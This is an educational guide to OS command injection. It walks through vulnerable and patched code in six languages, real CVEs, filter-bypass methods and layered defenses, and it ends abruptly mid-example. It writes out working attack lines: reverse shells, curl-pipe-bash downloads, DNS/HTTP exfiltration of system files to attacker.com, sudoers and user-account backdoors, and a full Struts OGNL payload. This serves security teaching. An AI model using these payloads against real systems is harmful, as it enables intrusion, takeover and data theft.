Command Injection: When Your Server Hands the Attacker a Root Shell on a Silver Platter
Hey there, security warriors and shell enthusiasts! Welcome to the ultimate guide on Command Injection – one of the most devastating vulnerabilities in the entire security landscape. If SQL Injection is giving a stranger the keys to your database, Command Injection is giving them the keys to your ENTIRE SERVER, plus the admin password, and a thank-you note. Imagine calling tech support and the operator accidentally gives you remote desktop access to their CEO's machine. That's essentially what Command Injection does – except it's your web application doing the giving, and the "tech support" is a few characters in a URL parameter. We're talking full operating system access: reading files, installing malware, pivoting to other machines, spinning up crypto miners, or just plain rm -rf / for the chaos enthusiasts. This vulnerability has been behind some of the most catastrophic breaches in history, and yet developers keep making the same mistakes. So grab your favorite terminal emulator, put on your hoodie (it's required for security topics, obviously), and let's explore the terrifying world of OS Command Injection!
What is Command Injection? (The OS-Level Nightmare)
Let's start with the fundamentals before we go full hacker mode. Command Injection (also called OS Command Injection or Shell Injection) is a vulnerability that allows an attacker to execute arbitrary operating system commands on the server hosting an application. It occurs when an application passes unsanitized user input to a system shell (like bash, cmd.exe, or sh) as part of a command.
The Core Problem:
Many applications need to interact with the operating system – pinging a server, converting an image, processing a file, running a script, or calling a system utility. When developers construct these OS commands using user-supplied data without proper sanitization, attackers can inject additional commands that the shell happily executes.
Simple Example:
Imagine a web app that lets users ping a host to check if it's online:
import os
def ping(host):
os.system(f"ping -c 4 {host}")
If the user enters: google.com
The command is: ping -c 4 google.com ✅ Works fine.
If the attacker enters: google.com; cat /etc/passwd
The command becomes: ping -c 4 google.com; cat /etc/passwd 💀
The semicolon (;) terminates the first command and starts a new one. The server now dumps its password file. The attacker didn't need credentials, didn't need SSH access, didn't need anything except a text input field and knowledge of shell metacharacters.
Why It's Catastrophic:
Command Injection isn't just a vulnerability – it's a full system compromise. Unlike SQL Injection which is limited to the database, Command Injection gives attackers direct access to the operating system. The impact includes:
- Remote Code Execution (RCE): Run ANY command as the web server user
-
Data Exfiltration:
Read any file the server user can access (
/etc/passwd, config files, source code, private keys) - Server Takeover: Install backdoors, create new users, modify system files
- Lateral Movement: Pivot to other servers on the internal network
- Denial of Service: Crash the server, fill disk space, kill processes
- Cryptocurrency Mining: Turn your server into a money-making machine (for the attacker)
- Ransomware Deployment: Encrypt everything and demand payment
- Supply Chain Attacks: Modify application code to attack end users
Historical Context:
Command Injection falls under OWASP's A03:2021 – Injection category, alongside SQL Injection and others. It's been a critical vulnerability since the early days of CGI scripts in the 1990s, when Perl scripts would call system commands with user input. The Shellshock bug (CVE-2014-6271) demonstrated how shell-level vulnerabilities can have apocalyptic consequences. Despite decades of awareness, it remains prevalent because developers still shell out to OS commands when language-native alternatives exist.
How Shell Metacharacters Work: The Attacker's Alphabet
Before diving into attack types, you need to understand the shell metacharacters that make Command Injection possible. These are special characters that shells interpret as command separators, redirectors, or modifiers.
Linux/Unix Shell Metacharacters
| Character | Purpose | Example |
|---|---|---|
; | Command separator | cmd1; cmd2 (runs both) |
&& | AND operator | cmd1 && cmd2 (cmd2 runs if cmd1 succeeds) |
|| | OR operator | cmd1 || cmd2 (cmd2 runs if cmd1 fails) |
| | Pipe | cmd1 | cmd2 (pipe output) |
` | Command substitution | `cmd` (execute and substitute) |
$() | Command substitution | $(cmd) (modern form) |
> | Output redirect | cmd > file (overwrite file) |
>> | Append redirect | cmd >> file (append to file) |
< | Input redirect | cmd < file (read from file) |
\n | Newline | cmd1\ncmd2 (new command) |
# | Comment | cmd # ignored (ignore rest) |
Windows Command Shell Metacharacters
| Character | Purpose | Example |
|---|---|---|
& | Command separator | cmd1 & cmd2 (runs both) |
&& | AND operator | cmd1 && cmd2 |
|| | OR operator | cmd1 || cmd2 |
| | Pipe | cmd1 | cmd2 |
> | Output redirect | cmd > file |
>> | Append redirect | cmd >> file |
^ | Escape character | ^& (literal &) |
Why This Matters
An attacker doesn't need fancy tools. They just need to know that a semicolon, pipe, or backtick can break out of the intended command and inject their own. It's the shell equivalent of SQL's ' OR 1=1'-- – a few special characters that change everything.
Types of Command Injection: The Full Arsenal
1. Direct (In-Band) Command Injection
Concept:
The most straightforward type. The attacker injects commands and sees the output directly in the application's response. The application takes user input, passes it to a shell command, and returns the result.
Example Scenario:
A DNS lookup tool on a web app:
Input: example.com
Command: nslookup example.com
Output: Server: 8.8.8.8, Address: 93.184.216.34
Attack:
Input: example.com; whoami
Command: nslookup example.com; whoami
Output: Server: 8.8.8.8, Address: 93.184.216.34
www-data
The attacker sees www-data – the web server's username. Now they know:
- The OS is Linux
-
The web server runs as
www-data - Command injection works and output is visible
Escalation:
Input: example.com; cat /etc/passwd
Input: example.com; ls -la /var/www/html
Input: example.com; env (dump environment variables – often contains API keys, DB passwords)
Input: example.com; curl attacker.com/shell.sh | bash (download and execute reverse shell)
2. Blind (Out-of-Band) Command Injection
Concept:
The application doesn't return command output in the response. The attacker must infer success through side effects – timing delays, DNS lookups, HTTP callbacks, or file creation.
a) Time-Based Blind Injection
Concept:
Inject a command that causes a measurable delay. If the response takes longer, the injection worked.
Example:
Input: example.com; sleep 10
If the response takes 10 seconds longer than normal, the sleep command executed successfully.
Data Exfiltration via Timing:
Input: example.com; if [ $(whoami | cut -c1) = "w" ]; then sleep 5; fi
If there's a 5-second delay, the first character of the username is w. Repeat for each character. Slow? Yes. Effective? Absolutely.
b) DNS-Based Out-of-Band Exfiltration
Concept:
Use DNS lookups to exfiltrate data to an attacker-controlled DNS server. Even firewalled servers usually allow DNS.
Example:
Input: example.com; nslookup $(whoami).attacker.com
The server performs a DNS lookup for www-data.attacker.com. The attacker's DNS server logs the query, revealing the username.
Full File Exfiltration:
Input: example.com; curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)
c) HTTP Callback (OAST)
Concept:
Trigger an HTTP request to an attacker-controlled server. Tools like Burp Collaborator or interactsh make this easy.
Example:
Input: example.com; curl http://attacker-collaborator.com/$(whoami)
The attacker's server logs: GET /www-data HTTP/1.1 – confirming both injection and the username.
3. Argument Injection (Parameter Injection)
Concept:
Instead of injecting new commands, the attacker manipulates arguments passed to the existing command. This is subtler and often bypasses basic sanitization that only blocks command separators.
Example:
An application that compresses files:
os.system(f"tar czf archive.tar.gz {user_input}")
Attack:
Input: --checkpoint=1 --checkpoint-action=exec=sh shell.sh
The tar command has a --checkpoint-action feature that can execute arbitrary commands. No semicolons, no pipes – just command-specific arguments.
Another Example (curl):
os.system(f"curl {user_url}")
Attack:
Input: -o /var/www/html/shell.php http://attacker.com/webshell.php
The -o flag tells curl to save the response to a file. The attacker just uploaded a webshell.
4. Indirect Command Injection
Concept:
The malicious input doesn't go directly to a command. Instead, it's stored somewhere (file, database, environment variable) and later read by a process that passes it to a shell.
Example:
An application saves user preferences to a config file:
user_theme=dark; curl attacker.com/shell.sh | bash
Later, a cron job sources this config file:
source /app/config/user_prefs.conf
The injected command executes when the cron job runs – possibly with elevated privileges.
Real-World Command Injection Catastrophes
1. Shellshock (CVE-2014-6271) – The Internet's Worst Day
What Happened:
Shellshock was a vulnerability in Bash itself. Bash allowed code execution through specially crafted environment variables. Any application that passed user-controlled data to Bash (via CGI scripts, SSH, DHCP, etc.) was vulnerable.
The Payload:
() { :; }; /bin/cat /etc/passwd
This exploited Bash's function definition parsing. When Bash saw an environment variable starting with () {, it would parse the function AND execute any commands after the closing }.
Impact:
- Affected virtually every Linux/Unix server running Bash (billions of devices)
- Exploited within hours of disclosure
-
CGI-based web servers were trivially exploitable via HTTP headers:
User-Agent: () { :; }; /bin/cat /etc/passwd - Botnets immediately weaponized it for DDoS, cryptocurrency mining, and data theft
- CVSS Score: 10.0 (Maximum severity)
Lesson:
Command Injection isn't just about your code – it can exist in the shell itself. Keep systems patched and minimize shell usage.
2. Equifax Data Breach (2017)
What Happened:
While primarily attributed to an Apache Struts vulnerability (CVE-2017-5638), the exploit chain involved command injection through crafted Content-Type headers that allowed arbitrary OS command execution on Equifax's web servers.
The Payload:
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Impact:
- 147 million Americans' personal data stolen (SSNs, birth dates, addresses, driver's license numbers)
- $700 million settlement
- CEO, CIO, and CSO all resigned
- One of the largest data breaches in history
Lesson:
Patch your frameworks. The Struts vulnerability was disclosed months before the breach. Command injection through expression language evaluation is real and devastating.
3. Cisco Prime Infrastructure (CVE-2018-15379)
What Happened:
Cisco's network management platform had a command injection vulnerability in the file upload functionality. An authenticated attacker could inject OS commands via crafted filenames.
Impact:
- Remote code execution as root
- Full control over the network management server
- Potential access to every device managed by the platform
Lesson:
Even network security vendors can ship vulnerable code. Never trust filenames, URLs, or any user-controlled data in shell commands.
4. Git (CVE-2020-26233) – Argument Injection
What Happened:
Visual Studio Code's Git integration had a vulnerability where repository names containing special characters could lead to argument injection in Git commands.
Impact:
- Arbitrary code execution when opening a malicious repository
- Affected millions of developers using VS Code
Lesson:
Argument injection is real. Even trusted tools like Git can be weaponized through crafted input.
5. ImageMagick "ImageTragick" (CVE-2016-3714)
What Happened:
ImageMagick, the widely-used image processing library, had a command injection vulnerability in its delegate handling. Specially crafted image files could trigger OS command execution.
The Payload (disguised as an image):
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context
Impact:
- Any application accepting image uploads that used ImageMagick was vulnerable
- Affected millions of websites (WordPress, Drupal, forums, social media platforms)
- Remote code execution through uploading a "picture"
Lesson:
File processing libraries are attack surfaces. Command injection can happen through file content, not just user input fields.
Vulnerable Code: The Hall of Shame
Let's dissect real vulnerable code across multiple languages and frameworks, showing exactly why they're dangerous and how to fix them.
Example 1: PHP – The System Call Trap
Vulnerable Code
<?php
// Simple ping utility
$host = $_GET['host'];
// Direct shell execution with user input – DANGER!
$output = shell_exec("ping -c 4 " . $host);
echo "<pre>$output</pre>";
?>
Why It's Vulnerable
The $host parameter is directly concatenated into the shell command. PHP's shell_exec() passes the entire string to /bin/sh, which interprets metacharacters.
Attack
GET /ping.php?host=8.8.8.8;cat%20/etc/passwd
Resulting command:
ping -c 4 8.8.8.8; cat /etc/passwd
The server pings Google DNS AND dumps the password file.
More Dangerous Attacks
?host=8.8.8.8; wget http://attacker.com/backdoor.php -O /var/www/html/backdoor.php
?host=8.8.8.8; curl attacker.com/shell.sh | bash
?host=8.8.8.8; nc -e /bin/bash attacker.com 4444 (reverse shell)
?host=8.8.8.8; echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
Patched Code (Input Validation + escapeshellarg)
<?php
$host = $_GET['host'] ?? '';
// Validate: only allow valid hostnames/IPs
if (!filter_var($host, FILTER_VALIDATE_IP) &&
!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9\-\.]+[a-zA-Z0-9]$/', $host)) {
die("Invalid host");
}
// escapeshellarg wraps the argument in single quotes and escapes existing quotes
$output = shell_exec("ping -c 4 " . escapeshellarg($host));
echo "<pre>" . htmlspecialchars($output) . "</pre>";
?>
What Changed
- Input validation with whitelist (IP address or hostname pattern)
-
escapeshellarg()wraps input in quotes, neutralizing metacharacters -
htmlspecialchars()on output to prevent XSS -
Even if validation is bypassed,
escapeshellarg()provides defense-in-depth
Best Practice: Avoid Shell Entirely
<?php
$host = $_GET['host'] ?? '';
if (!filter_var($host, FILTER_VALIDATE_IP)) {
die("Invalid IP address");
}
// Use PHP's built-in network functions instead of shell
$socket = @fsockopen($host, 80, $errno, $errstr, 5);
if ($socket) {
echo "Host $host is reachable";
fclose($socket);
} else {
echo "Host $host is not reachable: $errstr";
}
?>
No shell involved, no injection possible.
Example 2: Python – The os.system Disaster
Vulnerable Code
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/convert')
def convert_image():
filename = request.args.get('file')
output_format = request.args.get('format', 'png')
# Shell command with user input – DANGER!
os.system(f"convert /uploads/{filename} /output/result.{output_format}")
return "Conversion complete!"
Attack
GET /convert?file=image.jpg;whoami&format=png
Resulting command:
convert /uploads/image.jpg;whoami /output/result.png
Even Worse:
GET /convert?file=image.jpg;rm%20-rf%20/&format=png
Patched Code (subprocess with list arguments)
from flask import Flask, request
import subprocess
import re
app = Flask(__name__)
ALLOWED_FORMATS = {'png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp'}
@app.route('/convert')
def convert_image():
filename = request.args.get('file', '')
output_format = request.args.get('format', 'png')
# Validate filename: only alphanumeric, dots, hyphens, underscores
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
return "Invalid filename", 400
# Whitelist allowed formats
if output_format not in ALLOWED_FORMATS:
return "Invalid format", 400
# Use subprocess with list arguments – NO SHELL!
try:
result = subprocess.run(
['convert', f'/uploads/{filename}', f'/output/result.{output_format}'],
capture_output=True,
text=True,
timeout=30 # Prevent hanging
)
if result.returncode != 0:
return f"Conversion failed: {result.stderr}", 500
return "Conversion complete!"
except subprocess.TimeoutExpired:
return "Conversion timed out", 504
What Changed
-
subprocess.run()with a list of arguments instead ofos.system()with a string -
No
shell=True– each list element is passed as a separate argument, not parsed by a shell - Input validation with regex whitelist
- Output format validated against an allowlist
- Timeout to prevent DoS
Critical Rule
# DANGEROUS – shell=True passes through /bin/sh
subprocess.run(f"convert {filename}", shell=True)
# SAFE – list arguments bypass shell parsing entirely
subprocess.run(['convert', filename])
The difference between shell=True and shell=False (default) is literally the difference between "hackable" and "not hackable."
Example 3: Node.js – The child_process Pitfall
Vulnerable Code
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.get('/lookup', (req, res) => {
const domain = req.query.domain;
// exec() uses shell – DANGER!
exec(`nslookup ${domain}`, (error, stdout, stderr) => {
if (error) {
return res.status(500).send(`Error: ${stderr}`);
}
res.send(`<pre>${stdout}</pre>`);
});
});
app.listen(3000);
Attack
GET /lookup?domain=example.com;cat%20/etc/passwd
The exec() function spawns a shell (/bin/sh -c) and passes the entire string to it.
Patched Code (execFile with arguments)
const express = require('express');
const { execFile } = require('child_process');
const app = express();
// Validate domain name
function isValidDomain(domain) {
return /^[a-zA-Z0-9][a-zA-Z0-9\-\.]+[a-zA-Z0-9]$/.test(domain) &&
domain.length <= 253;
}
app.get('/lookup', (req, res) => {
const domain = req.query.domain;
if (!domain || !isValidDomain(domain)) {
return res.status(400).send('Invalid domain');
}
// execFile() does NOT use a shell – arguments are passed directly
execFile('nslookup', [domain], { timeout: 10000 }, (error, stdout, stderr) => {
if (error) {
return res.status(500).send('Lookup failed');
}
// Escape output to prevent XSS
const escaped = stdout.replace(/[<>&"']/g, c =>
({'<':'<','>':'>','&':'&','"':'"',"'":'''}[c]));
res.send(`<pre>${escaped}</pre>`);
});
});
app.listen(3000);
What Changed
-
execFile()instead ofexec()– no shell involved - Arguments passed as array, not concatenated into command string
- Input validation with regex
- Output escaping to prevent XSS
- Timeout to prevent hanging
Node.js Shell Functions Danger Level
// DANGEROUS – spawns a shell
const { exec } = require('child_process');
exec(`command ${userInput}`); // Shell injection possible
// DANGEROUS – shell: true enables shell
const { spawn } = require('child_process');
spawn('command', [userInput], { shell: true }); // Shell injection possible
// SAFE – no shell, arguments are separate
const { execFile } = require('child_process');
execFile('command', [userInput]); // No shell, no injection
// SAFE – no shell by default
const { spawn } = require('child_process');
spawn('command', [userInput]); // No shell, no injection
Example 4: Java – Runtime.exec() Misconceptions
Vulnerable Code
import java.io.*;
import javax.servlet.http.*;
public class PingServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException {
String host = request.getParameter("host");
// Runtime.exec() with string – uses shell on some systems
Process process = Runtime.getRuntime().exec("ping -c 4 " + host);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
PrintWriter out = response.getWriter();
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
}
The Java Nuance
Java's Runtime.exec(String) tokenizes the command string by whitespace. This means ; cat /etc/passwd might not work directly because Java doesn't use a shell. HOWEVER:
- On some systems/versions, shell metacharacters ARE processed
-
If the developer uses
Runtime.exec(String[])with{"/bin/sh", "-c", command}, it's fully vulnerable - Arguments with spaces can still cause unexpected behavior
More Commonly Vulnerable Pattern
// This is definitely vulnerable – explicitly invokes shell
String[] cmd = {"/bin/sh", "-c", "ping -c 4 " + host};
Process process = Runtime.getRuntime().exec(cmd);
Patched Code (ProcessBuilder with argument list)
import java.io.*;
import java.util.regex.*;
import javax.servlet.http.*;
public class PingServlet extends HttpServlet {
private static final Pattern IP_PATTERN =
Pattern.compile("^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$");
private static final Pattern DOMAIN_PATTERN =
Pattern.compile("^[a-zA-Z0-9][a-zA-Z0-9\\-\\.]+[a-zA-Z0-9]$");
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException {
String host = request.getParameter("host");
// Strict validation
if (host == null ||
(!IP_PATTERN.matcher(host).matches() && !DOMAIN_PATTERN.matcher(host).matches())) {
response.sendError(400, "Invalid host");
return;
}
// ProcessBuilder with separate arguments – no shell
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", host);
pb.redirectErrorStream(true);
Process process = pb.start();
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
PrintWriter out = response.getWriter();
String line;
while ((line = reader.readLine()) != null) {
out.println(escapeHtml(line));
}
// Wait for process with timeout
try {
process.waitFor(30, java.util.concurrent.TimeUnit.SECONDS);
} catch (InterruptedException e) {
process.destroyForcibly();
}
}
private String escapeHtml(String input) {
return input.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """);
}
}
What Changed
-
ProcessBuilderwith argument list instead of single command string -
No
/bin/sh -cinvocation – arguments passed directly to the executable - Strict input validation with regex patterns
- Process timeout to prevent hanging
- HTML escaping on output
Example 5: C# (.NET) – Process.Start() Pitfalls
Vulnerable Code
using System.Diagnostics;
using Microsoft.AspNetCore.Mvc;
[ApiController]
[Route("api/[controller]")]
public class NetworkController : ControllerBase
{
[HttpGet("ping")]
public IActionResult Ping(string host)
{
// Constructing command with user input – DANGER!
var process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = $"/c ping {host}";
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.Start();
var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
return Ok(output);
}
}
Attack
GET /api/network/ping?host=8.8.8.8%26net%20user%20hacker%20P%40ssw0rd%20/add
Decoded: host=8.8.8.8&net user hacker P@ssw0rd /add
Result: Pings 8.8.8.8 AND creates a new Windows user account named "hacker."
Patched Code
using System.Diagnostics;
using System.Text.RegularExpressions;
using Microsoft.AspNetCore.Mvc;
[ApiController]
[Route("api/[controller]")]
public class NetworkController : ControllerBase
{
private static readonly Regex IpRegex = new Regex(
@"^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$",
RegexOptions.Compiled);
private static readonly Regex DomainRegex = new Regex(
@"^[a-zA-Z0-9][a-zA-Z0-9\-\.]+[a-zA-Z0-9]$",
RegexOptions.Compiled);
[HttpGet("ping")]
public IActionResult Ping(string host)
{
// Strict validation
if (string.IsNullOrWhiteSpace(host) ||
(!IpRegex.IsMatch(host) && !DomainRegex.IsMatch(host)))
{
return BadRequest("Invalid host");
}
// Call ping directly – NOT through cmd.exe
var process = new Process();
process.StartInfo.FileName = "ping";
process.StartInfo.ArgumentList.Add("-n"); // ArgumentList prevents injection
process.StartInfo.ArgumentList.Add("4");
process.StartInfo.ArgumentList.Add(host);
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.CreateNoWindow = true;
process.Start();
var output = process.StandardOutput.ReadToEnd();
if (!process.WaitForExit(30000)) // 30 second timeout
{
process.Kill();
return StatusCode(504, "Ping timed out");
}
return Ok(output);
}
}
What Changed
-
Call
pingdirectly instead of throughcmd.exe /c -
ArgumentList.Add()passes each argument separately (no shell parsing) - Strict regex validation for IPs and domains
- Process timeout to prevent resource exhaustion
- No shell metacharacter interpretation possible
Example 6: Ruby – Backtick and system() Traps
Vulnerable Code
require 'sinatra'
get '/whois' do
domain = params[:domain]
# Backticks invoke shell – DANGER!
result = `whois #{domain}`
"<pre>#{result}</pre>"
end
Ruby's backtick operator invokes a shell, making this trivially exploitable:
GET /whois?domain=example.com;id
Patched Code
require 'sinatra'
require 'open3'
DOMAIN_REGEX = /\A[a-zA-Z0-9][a-zA-Z0-9\-\.]+[a-zA-Z0-9]\z/
get '/whois' do
domain = params[:domain]
unless domain&.match?(DOMAIN_REGEX) && domain.length <= 253
halt 400, 'Invalid domain'
end
# Open3.capture2 with array arguments – no shell
stdout, status = Open3.capture2('whois', domain)
unless status.success?
halt 500, 'Whois lookup failed'
end
"<pre>#{Rack::Utils.escape_html(stdout)}</pre>"
end
Ruby Shell Execution Danger Levels
# DANGEROUS – all invoke a shell
`command #{input}` # Backticks
system("command #{input}") # system() with string
%x(command #{input}) # Percent-x notation
exec("command #{input}") # exec with string
IO.popen("command #{input}") # IO.popen with string
# SAFE – no shell invocation
system("command", input) # system() with separate args
Open3.capture2("command", input) # Open3 with separate args
IO.popen(["command", input]) # IO.popen with array
Advanced Command Injection Techniques
1. Filter Bypass Techniques
When WAFs or input filters block common metacharacters, attackers get creative.
Bypassing Space Filters
If spaces are filtered:
# Using $IFS (Internal Field Separator – defaults to space)
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
# Using tab (%09)
cat%09/etc/passwd
# Using brace expansion
{cat,/etc/passwd}
# Using < redirect
cat</etc/passwd
Bypassing Keyword Filters
If words like cat, ls, whoami are blacklisted:
# String concatenation
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
# Environment variable manipulation
w${not_exist}hoami
# Base64 encoding
echo d2hvYW1p | base64 -d | bash # whoami encoded
# Hex encoding
echo -e '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' | bash
# Wildcard usage
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
# Using other commands
more /etc/passwd
less /etc/passwd
head /etc/passwd
tail /etc/passwd
tac /etc/passwd
nl /etc/passwd
sort /etc/passwd
Bypassing Semicolon Filters
# Newline instead of semicolon
command1%0acommand2
# AND/OR operators
command1 && command2
command1 || command2
# Pipe
command1 | command2
# Command substitution
$(command2)
`command2`
# Background execution
command1 & command2
2. Reverse Shell Techniques
Once command injection is confirmed, attackers often establish a persistent reverse shell.
Bash Reverse Shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
Python Reverse Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Netcat Reverse Shell
nc -e /bin/sh attacker.com 4444
PowerShell Reverse Shell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
3. Data Exfiltration Without Direct Output
When command output isn't visible:
Via DNS
nslookup $(cat /etc/hostname).attacker.com
dig $(whoami).attacker.com
host $(cat /etc/passwd | head -1 | base64).attacker.com
Via HTTP
curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64 | tr -d '\n')
wget -q -O- "http://attacker.com/log?$(id)"
Via File Write
# Write to web-accessible directory
cat /etc/passwd > /var/www/html/data.txt
4. Windows-Specific Techniques
Windows Command Shell injection differs from Unix:
& whoami
| whoami
&& whoami
|| whoami
REM Reading files:
& type C:\Windows\win.ini
& type C:\Users\Administrator\Desktop\credentials.txt
REM Network enumeration:
& ipconfig /all
& net user
& net localgroup administrators
& systeminfo
REM Creating users:
& net user hacker Password123! /add
& net localgroup administrators hacker /add
Comprehensive Defense Strategy
Layer 1: Avoid Shell Commands Entirely (The Best Defense)
The single most effective mitigation is to NOT USE SHELL COMMANDS. Most operations that developers shell out for have library alternatives:
| Instead of... | Use... |
|---|---|
ping via shell | Language-native ICMP library |
curl/wget via shell | HTTP client library (requests, axios, HttpClient) |
convert (ImageMagick) | Image processing library (Pillow, Sharp, ImageSharp) |
whois via shell | Whois library/API |
nslookup via shell | DNS resolution library (dns module, dnspython) |
tar/zip via shell | Archive library (zipfile, archiver, SharpZipLib) |
ffmpeg via shell | Video processing library or safe wrapper |
| File operations via shell | Language-native file API |
Rule of Thumb: If a library exists, use it. Libraries operate in-process and don't invoke shells.
Layer 2: Use Safe APIs When You Must Execute Commands
If you absolutely must run external commands:
Python
import subprocess
# SAFE: List arguments, no shell
subprocess.run(['command', 'arg1', 'arg2'], capture_output=True, timeout=30)
# DANGEROUS: Never do this
subprocess.run(f'command {user_input}', shell=True)
Node.js
const { execFile } = require('child_process');
// SAFE: execFile doesn't use shell
execFile('command', ['arg1', 'arg2'], callback);
// DANGEROUS: Never do this
const { exec } = require('child_process');
exec(`command ${userInput}`, callback);
Java
// SAFE: ProcessBuilder with argument list
ProcessBuilder pb = new ProcessBuilder("command", "arg1", "arg2");
// DANGEROUS: Never do this
Runtime.getRuntime().exec("/bin/sh -c command " + userInput);
PHP
// If you must use shell commands:
// escapeshellarg() wraps in single quotes
$safe = escapeshellarg($userInput);
// escapeshellcmd() escapes metacharacters
$safe = escapeshellcmd($userInput);
// But really, don't use shell commands.
C#
// SAFE: ArgumentList with separate arguments
var psi = new ProcessStartInfo("command");
psi.ArgumentList.Add("arg1");
psi.ArgumentList.Add(userInput);
// DANGEROUS: Never do this
Process.Start("cmd.exe", $"/c command {userInput}");
Layer 3: Input Validation (Defense-in-Depth)
Even with safe APIs, validate input:
import re
ALLOWED_HOSTNAME = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,251}[a-zA-Z0-9]$')
ALLOWED_FILENAME = re.compile(r'^[a-zA-Z0-9._-]+$')
ALLOWED_IP = re.compile(r'^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
def validate_input(value, pattern):
if not pattern.match(value):
raise ValueError(f"Invalid input: {value}")
return value
Validation Rules:
- Whitelist approach: Only allow known-good characters
- Reject, don't sanitize: It's safer to reject bad input than try to clean it
- Type-check: If expecting a number, cast to integer
- Length limits: Cap input length to reasonable values
-
No special characters:
Strip or reject
;,|,&,$,`,(,),{,},<,>,\n,\r
Layer 4: Principle of Least Privilege
Even if injection happens, limit the damage:
- Run applications as non-root users with minimal permissions
- Use containers (Docker) with read-only filesystems
-
Drop capabilities:
--cap-drop ALLin Docker - Use seccomp profiles to restrict system calls
- chroot jails to limit filesystem access
- Network segmentation to prevent lateral movement
- SELinux/AppArmor policies to restrict process actions
# Example Dockerfile with security hardening
FROM node:20-alpine
# Create non-root user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
# Set working directory
WORKDIR /app
COPY . .
# Install dependencies
RUN npm ci --only=production
# Switch to non-root user
USER appuser
# Read-only filesystem
# (set via docker run --read-only)
Layer 5: WAF and Runtime Protection
- Web Application Firewall (WAF): Block requests containing shell metacharacters
- Runtime Application Self-Protection (RASP): Monitor and block shell invocations at runtime
- System call monitoring: Use tools like Falco to detect unexpected command execution
- Network monitoring: Alert on unexpected outbound connections (reverse shells)
Layer 6: Security Testing
Static Analysis (SAST)
Look for dangerous function calls:
# Find dangerous PHP functions
grep -rn 'shell_exec\|system\|exec\|passthru\|popen\|proc_open' *.php
# Find dangerous Python patterns
grep -rn 'os\.system\|os\.popen\|subprocess.*shell=True\|commands\.' *.py
# Find dangerous Node.js patterns
grep -rn 'child_process.*exec\b\|\.exec(' *.js
# Find dangerous Java patterns
grep -rn 'Runtime.*exec\|ProcessBuilder' *.java
# Find dangerous Ruby patterns
grep -rn 'system\|exec\|%x\|IO\.popen' *.rb
Dynamic Analysis (DAST)
# Using commix – automated command injection tool
commix --url="http://target.com/ping?host=INJECT_HERE"
# With POST data
commix --url="http://target.com/api" --data="host=INJECT_HERE"
# OS-specific
commix --url="http://target.com/ping?host=INJECT_HERE" --os=linux
Manual Testing Payloads
# Basic tests
; id
| id
|| id
& id
&& id
$(id)
`id`
%0a id
# Time-based detection
; sleep 10
| sleep 10
& timeout /t 10 (Windows)
&& ping -c 10 127.0.0.1
# DNS-based detection
; nslookup test.collaborator.com
| nslookup test.collaborator.com
# Special character encoding
%3B id (; id URL-encoded)
%7C id (| id URL-encoded)
%0A id (newline + id)
Common Vulnerable Scenarios in Modern Applications
1. PDF Generation
# VULNERABLE
os.system(f"wkhtmltopdf {url} output.pdf")
# SAFE
